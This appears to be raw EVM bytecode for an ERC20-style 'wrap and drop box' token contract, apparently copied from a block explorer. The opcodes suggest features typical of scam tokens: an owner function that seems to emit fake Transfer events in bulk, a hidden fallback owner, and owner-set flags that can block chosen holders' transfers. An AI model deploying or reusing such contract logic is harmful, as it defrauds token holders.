00000000000000000000000000000000000000000000815260040162000961906200259f565b60405180910390fd5b620009798286868403620012e5565b60019250505092915050565b60008062000992620012dd565b9050620009a18185856200154c565b600191505092915050565b620009b662001886565b60005b825181101562000a8a5781600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600085848151811062000a1b5762000a1a62002420565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808062000a81906200247e565b915050620009b9565b505050565b600073ffffffffffffffffffffffffffffffffffffffff16600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161462000b60576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000b579062002611565b60405180910390fd5b60405162000b6e9062001d49565b604051809103906000f08015801562000b8b573d6000803e3d6000fd5b50600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503373ffffffffffffffffffffffffffffffffffffffff167f2c601b1355d1a6cd1373df5a1e2460c77aedfbb5c16c66b47bb96b35462808e260405160405180910390a2565b62000c5862001886565b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600b6020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b8062000d62336200074d565b101562000da6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000d9d9062002683565b60405180910390fd5b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b815260040162000e05929190620026a5565b600060405180830381600087803b15801562000e2057600080fd5b505af115801562000e35573d6000803e3d6000fd5b505050503373ffffffffffffffffffffffffffffffffffffffff16817f1d27d1c62712f590d53fa9eb8bbf3a75d09503deae319bb9d99644339cb312e160405160405180910390a350565b6000600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141562000f57576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000f4e9062002748565b60405180910390fd5b81600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231836040518263ffffffff1660e01b815260040162000fb59190620021ad565b602060405180830381600087803b15801562000fd057600080fd5b505af115801562000fe5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200100b919062002781565b10156200104f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620010469062002803565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16638d3c100a83600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518363ffffffff1660e01b8152600401620010ae92919062002890565b600060405180830381600087803b158015620010c957600080fd5b505af1158015620010de573d6000803e3d6000fd5b50505050600160056000620010f262001bb5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000620011cc62001bb5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16827f9c307a39a47fdf1a019642a4e8a585ffe9894b5018226029887fe6d4241611bb60405160405180910390a35050565b6200125c62001886565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415620012cf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620012c69062002933565b60405180910390fd5b620012da8162001af1565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141562001358576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200134f90620029cb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415620013cb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620013c29062002a63565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051620014ab919062001f65565b60405180910390a3505050565b6000620014c6848462000ccf565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811462001546578181101562001536576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200152d9062002ad5565b60405180910390fd5b620015458484848403620012e5565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415620015bf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620015b69062002b6d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141562001632576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620016299062002c05565b60405180910390fd5b6200163f83838362001bcb565b600560006200164d62001bb5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615620016e457620016e38362001bd0565b5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156200176e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620017659062002c9d565b60405180910390fd5b818103600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254620018059190620024cc565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516200186b919062001f65565b60405180910390a36200188084848462001c9e565b50505050565b62001890620012dd565b73ffffffffffffffffffffffffffffffffffffffff16620018b062001bb5565b73ffffffffffffffffffffffffffffffffffffffff161462001909576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620019009062002d0f565b60405180910390fd5b565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156200197e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620019759062002da7565b60405180910390fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101562001a08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620019ff9062002e3f565b60405180910390fd5b81600d5462001a18919062002e61565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816007600082825462001a6f919062002e61565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405162001ad6919062001f65565b60405180910390a362001aec8360008462001c9e565b505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008062001bc262001ca3565b90508091505090565b505050565b60006004600062001be062001bb5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541162001c9b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162001c929062002f12565b60405180910390fd5b50565b505050565b60008073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161462001d205760008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1662001d44565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b61082f8062002f3583390190565b600081519050919050565b600082825260208201905092915050565b60005b8381101562001d9357808201518184015260208101905062001d76565b8381111562001da3576000848401525b50505050565b6000601f19601f8301169050919050565b600062001dc78262001d57565b62001dd3818562001d62565b935062001de581856020860162001d73565b62001df08162001da9565b840191505092915050565b6000602082019050818103600083015262001e17818462001dba565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062001e608262001e33565b9050919050565b62001e728162001e53565b811462001e7e57600080fd5b50565b60008135905062001e928162001e67565b92915050565b6000819050919050565b62001ead8162001e98565b811462001eb957600080fd5b50565b60008135905062001ecd8162001ea2565b92915050565b6000806040838503121562001eed5762001eec62001e29565b5b600062001efd8582860162001e81565b925050602062001f108582860162001ebc565b9150509250929050565b60008115159050919050565b62001f318162001f1a565b82525050565b600060208201905062001f4e600083018462001f26565b92915050565b62001f5f8162001e98565b82525050565b600060208201905062001f7c600083018462001f54565b92915050565b60008060006060848603121562001f9e5762001f9d62001e29565b5b600062001fae8682870162001e81565b935050602062001fc18682870162001e81565b925050604062001fd48682870162001ebc565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f84011262002006576200200562001fde565b5b8235905067ffffffffffffffff81111562002026576200202562001fe3565b5b60208301915083602082028301111562002045576200204462001fe8565b5b9250929050565b60008060006040848603121562002068576200206762001e29565b5b600084013567ffffffffffffffff81111562002089576200208862001e2e565b5b620020978682870162001fed565b93509350506020620020ac8682870162001ebc565b9150509250925092565b600060ff82169050919050565b620020ce81620020b6565b82525050565b6000602082019050620020eb6000830184620020c3565b92915050565b6000602082840312156200210a576200210962001e29565b5b60006200211a8482850162001ebc565b91505092915050565b6000602082840312156200213c576200213b62001e29565b5b60006200214c8482850162001e81565b91505092915050565b600080604083850312156200216f576200216e62001e29565b5b60006200217f8582860162001e81565b9250506020620021928582860162001e81565b9150509250929050565b620021a78162001e53565b82525050565b6000602082019050620021c460008301846200219c565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b620022048262001da9565b810181811067ffffffffffffffff82111715620022265762002225620021ca565b5b80604052505050565b60006200223b62001e1f565b9050620022498282620021f9565b919050565b600067ffffffffffffffff8211156200226c576200226b620021ca565b5b602082029050602081019050919050565b6000620022946200228e846200224e565b6200222f565b90508083825260208201905060208402830185811115620022ba57620022b962001fe8565b5b835b81811015620022e75780620022d2888262001e81565b845260208401935050602081019050620022bc565b5050509392505050565b600082601f83011262002309576200230862001fde565b5b81356200231b8482602086016200227d565b91505092915050565b6200232f8162001f1a565b81146200233b57600080fd5b50565b6000813590506200234f8162002324565b92915050565b600080604083850312156200236f576200236e62001e29565b5b600083013567ffffffffffffffff81111562002390576200238f62001e2e565b5b6200239e85828601620022f1565b9250506020620023b1858286016200233e565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200240357607f821691505b602082108114156200241a5762002419620023bb565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006200248b8262001e98565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415620024c157620024c06200244f565b5b600182019050919050565b6000620024d98262001e98565b9150620024e68362001e98565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156200251e576200251d6200244f565b5b828201905092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006200258760258362001d62565b9150620025948262002529565b604082019050919050565b60006020820190508181036000830152620025ba8162002578565b9050919050565b7f44726f7020626f7820616c7265616479206578697374732e0000000000000000600082015250565b6000620025f960188362001d62565b91506200260682620025c1565b602082019050919050565b600060208201905081810360008301526200262c81620025ea565b9050919050565b7f4e6f7420656e6f75676820436f696e20746f20756e777261702e000000000000600082015250565b60006200266b601a8362001d62565b9150620026788262002633565b602082019050919050565b600060208201905081810360008301526200269e816200265c565b9050919050565b6000604082019050620026bc60008301856200219c565b620026cb602083018462001f54565b9392505050565b7f596f75206d7573742063726561746520612064726f7020626f7820666972737460008201527f2e00000000000000000000000000000000000000000000000000000000000000602082015250565b60006200273060218362001d62565b91506200273d82620026d2565b604082019050919050565b60006020820190508181036000830152620027638162002721565b9050919050565b6000815190506200277b8162001ea2565b92915050565b6000602082840312156200279a576200279962001e29565b5b6000620027aa848285016200276a565b91505092915050565b7f4e6f7420656e6f75676820436f696e20696e2064726f7020626f782e00000000600082015250565b6000620027eb601c8362001d62565b9150620027f882620027b3565b602082019050919050565b600060208201905081810360008301526200281e81620027dc565b9050919050565b6000819050919050565b6000620028506200284a620028448462001e33565b62002825565b62001e33565b9050919050565b600062002864826200282f565b9050919050565b6000620028788262002857565b9050919050565b6200288a816200286b565b82525050565b6000604082019050620028a7600083018562001f54565b620028b660208301846200287f565b9392505050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006200291b60268362001d62565b91506200292882620028bd565b604082019050919050565b600060208201905081810360008301526200294e816200290c565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000620029b360248362001d62565b9150620029c08262002955565b604082019050919050565b60006020820190508181036000830152620029e681620029a4565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600062002a4b60228362001d62565b915062002a5882620029ed565b604082019050919050565b6000602082019050818103600083015262002a7e8162002a3c565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b600062002abd601d8362001d62565b915062002aca8262002a85565b602082019050919050565b6000602082019050818103600083015262002af08162002aae565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600062002b5560258362001d62565b915062002b628262002af7565b604082019050919050565b6000602082019050818103600083015262002b888162002b46565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600062002bed60238362001d62565b915062002bfa8262002b8f565b604082019050919050565b6000602082019050818103600083015262002c208162002bde565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b600062002c8560268362001d62565b915062002c928262002c27565b604082019050919050565b6000602082019050818103600083015262002cb88162002c76565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600062002cf760208362001d62565b915062002d048262002cbf565b602082019050919050565b6000602082019050818103600083015262002d2a8162002ce8565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b600062002d8f60218362001d62565b915062002d9c8262002d31565b604082019050919050565b6000602082019050818103600083015262002dc28162002d80565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b600062002e2760228362001d62565b915062002e348262002dc9565b604082019050919050565b6000602082019050818103600083015262002e5a8162002e18565b9050919050565b600062002e6e8262001e98565b915062002e7b8362001e98565b92508282101562002e915762002e906200244f565b5b828203905092915050565b7f4e6f7420656e6f75676820696e2064726f70426f782c20706c6561736520777260008201527f6170206d6f726520636f696e732e000000000000000000000000000000000000602082015250565b600062002efa602e8362001d62565b915062002f078262002e9c565b604082019050919050565b6000602082019050818103600083015262002f2d8162002eeb565b905091905056fe608060405234801561001057600080fd5b503380600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061006f61006461007560201b60201c565b61007d60201b60201c565b50610141565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6106df806101506000396000f3fe608060405234801561001057600080fd5b506004361061004c5760003560e01c8063715018a6146100515780638d3c100a1461005b5780638da5cb5b14610077578063f2fde38b14610095575b600080fd5b6100596100b1565b005b6100756004803603810190610070919061049f565b6100c5565b005b61007f610145565b60405161008c91906104ee565b60405180910390f35b6100af60048036038101906100aa9190610535565b61016e565b005b6100b96101f2565b6100c36000610270565b565b6100cd6101f2565b8073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6100f1610145565b846040518363ffffffff1660e01b815260040161010f929190610571565b600060405180830381600087803b15801561012957600080fd5b505af115801561013d573d6000803e3d6000fd5b505050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6101766101f2565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156101e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101dd9061061d565b60405180910390fd5b6101ef81610270565b50565b6101fa610334565b73ffffffffffffffffffffffffffffffffffffffff1661021861033c565b73ffffffffffffffffffffffffffffffffffffffff161461026e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161026590610689565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600033905090565b600080610347610350565b90508091505090565b60008073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146103cb5760008054906101000a900473ffffffffffffffffffffffffffffffffffffffff166103ef565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b600080fd5b6000819050919050565b61040c816103f9565b811461041757600080fd5b50565b60008135905061042981610403565b92915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061045a8261042f565b9050919050565b600061046c8261044f565b9050919050565b61047c81610461565b811461048757600080fd5b50565b60008135905061049981610473565b92915050565b600080604083850312156104b6576104b56103f4565b5b60006104c48582860161041a565b92505060206104d58582860161048a565b9150509250929050565b6104e88161044f565b82525050565b600060208201905061050360008301846104df565b92915050565b6105128161044f565b811461051d57600080fd5b50565b60008135905061052f81610509565b92915050565b60006020828403121561054b5761054a6103f4565b5b600061055984828501610520565b91505092915050565b61056b816103f9565b82525050565b600060408201905061058660008301856104df565b6105936020830184610562565b9392505050565b600082825260208201905092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061060760268361059a565b9150610612826105ab565b604082019050919050565b60006020820190508181036000830152610636816105fa565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061067360208361059a565b915061067e8261063d565b602082019050919050565b600060208201905081810360008301526106a281610666565b905091905056fea2646970667358221220472c3580ff5a92986db622a74012d4054b00aaef85296bce3c5e1b179cbc6fea64736f6c63430008090033a2646970667358221220c960ccb26edd96d682ebce3491077da350a4fbb7ba2c8831af493600b6b6b7eb64736f6c634300080900330000000000000000000000007c04832c1a084ca2cc18c99e2e9bc5d5bcfd2594

Deployed Bytecode

0x60806040523480156200001157600080fd5b50600436106200016c5760003560e01c80638da5cb5b11620000d5578063c2b7bbb61162000087578063c2b7bbb6146200040d578063d6d2bb98146200042d578063dd62ed3e1462000463578063de0e9a3e1462000499578063ea598cb014620004b9578063f2fde38b14620004d9576200016c565b80638da5cb5b146200033157806395d89b411462000353578063a457c2d71462000375578063a9059cbb14620003ab578063a9ddeaa214620003e1578063b8bdd4b21462000401576200016c565b8063313ce567116200012f578063313ce567146200024157806339509351146200026357806342966c68146200029957806370a0823114620002b9578063715018a614620002ef57806377a0e0af14620002fb576200016c565b806306fdde031462000171578063095ea7b3146200019357806318160ddd14620001c957806323b872dd14620001eb57806326ededb81462000221575b600080fd5b6200017b620004f9565b6040516200018a919062001dfb565b60405180910390f35b620001b16004803603810190620001ab919062001ed3565b62000593565b604051620001c0919062001f37565b60405180910390f35b620001d3620005ba565b604051620001e2919062001f65565b60405180910390f35b62000209600480360381019062000203919062001f82565b620005c4565b60405162000218919062001f37565b60405180910390f35b6200023f60048036038101906200023991906200204c565b620005f9565b005b6200024b620006e3565b6040516200025a9190620020d4565b60405180910390f35b6200028160048036038101906200027b919062001ed3565b620006ec565b60405162000290919062001f37565b60405180910390f35b620002b76004803603810190620002b19190620020f1565b6200072b565b005b620002d76004803603810190620002d1919062002123565b6200074d565b604051620002e6919062001f65565b60405180910390f35b620002f962000796565b005b62000319600480360381019062000313919062002155565b620007ae565b60405162000328919062001f37565b60405180910390f35b6200033b62000842565b6040516200034a9190620021ad565b60405180910390f35b6200035d6200086b565b6040516200036c919062001dfb565b60405180910390f35b6200039360048036038101906200038d919062001ed3565b62000905565b604051620003a2919062001f37565b60405180910390f35b620003c96004803603810190620003c3919062001ed3565b62000985565b604051620003d8919062001f37565b60405180910390f35b620003ff6004803603810190620003f9919062002355565b620009ac565b005b6200040b62000a8f565b005b6200042b600480360381019062000425919062002123565b62000c4e565b005b6200044b600480360381019062000445919062002123565b62000c9c565b6040516200045a9190620021ad565b60405180910390f35b6200048160048036038101906200047b919062002155565b62000ccf565b60405162000490919062001f65565b60405180910390f35b620004b76004803603810190620004b19190620020f1565b62000d56565b005b620004d76004803603810190620004d19190620020f1565b62000e80565b005b620004f76004803603810190620004f1919062002123565b62001252565b005b6060600980546200050a90620023ea565b80601f01602080910402602001604051908101604052809291908181526020018280546200053890620023ea565b8015620005895780601f106200055d5761010080835404028352916020019162000589565b820191906000526020600020905b8154815290600101906020018083116200056b57829003601f168201915b5050505050905090565b600080620005a0620012dd565b9050620005af818585620012e5565b600191505092915050565b6000600754905090565b600080620005d1620012dd565b9050620005e0858285620014b8565b620005ed8585856200154c565b60019150509392505050565b6200060362001886565b60005b83839050811015620006dd5783838281811062000628576200062762002420565b5b90506020020160208101906200063f919062002123565b73ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051620006bf919062001f65565b60405180910390a38080620006d4906200247e565b91505062000606565b50505050565b60006009905090565b600080620006f9620012dd565b9050620007208185856200070e858962000ccf565b6200071a9190620024cc565b620012e5565b600191505092915050565b6200073562001886565b6200074a62000743620012dd565b826200190b565b50565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b620007a062001886565b620007ac600062001af1565b565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600880546200087c90620023ea565b80601f0160208091040260200160405190810160405280929190818152602001828054620008aa90620023ea565b8015620008fb5780601f10620008cf57610100808354040283529160200191620008fb565b820191906000526020600020905b815481529060010190602001808311620008dd57829003601f168201915b5050505050905090565b60008062000912620012dd565b9050600062000922828662000ccf565b9050838110156200096a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000961906200259f565b60405180910390fd5b620009798286868403620012e5565b60019250505092915050565b60008062000992620012dd565b9050620009a18185856200154c565b600191505092915050565b620009b662001886565b60005b825181101562000a8a5781600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600085848151811062000a1b5762000a1a62002420565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808062000a81906200247e565b915050620009b9565b505050565b600073ffffffffffffffffffffffffffffffffffffffff16600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161462000b60576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000b579062002611565b60405180910390fd5b60405162000b6e9062001d49565b604051809103906000f08015801562000b8b573d6000803e3d6000fd5b50600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503373ffffffffffffffffffffffffffffffffffffffff167f2c601b1355d1a6cd1373df5a1e2460c77aedfbb5c16c66b47bb96b35462808e260405160405180910390a2565b62000c5862001886565b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600b6020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b8062000d62336200074d565b101562000da6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000d9d9062002683565b60405180910390fd5b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b815260040162000e05929190620026a5565b600060405180830381600087803b15801562000e2057600080fd5b505af115801562000e35573d6000803e3d6000fd5b505050503373ffffffffffffffffffffffffffffffffffffffff16817f1d27d1c62712f590d53fa9eb8bbf3a75d09503deae319bb9d99644339cb312e160405160405180910390a350565b6000600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141562000f57576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000f4e9062002748565b60405180910390fd5b81600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231836040518263ffffffff1660e01b815260040162000fb59190620021ad565b602060405180830381600087803b15801562000fd057600080fd5b505af115801562000fe5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200100b919062002781565b10156200104f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620010469062002803565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16638d3c100a83600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518363ffffffff1660e01b8152600401620010ae92919062002890565b600060405180830381600087803b158015620010c957600080fd5b505af1158015620010de573d6000803e3d6000fd5b50505050600160056000620010f262001bb5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000620011cc62001bb5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16827f9c307a39a47fdf1a019642a4e8a585ffe9894b5018226029887fe6d4241611bb60405160405180910390a35050565b6200125c62001886565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415620012cf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620012c69062002933565b60405180910390fd5b620012da8162001af1565b50565b600033905090565b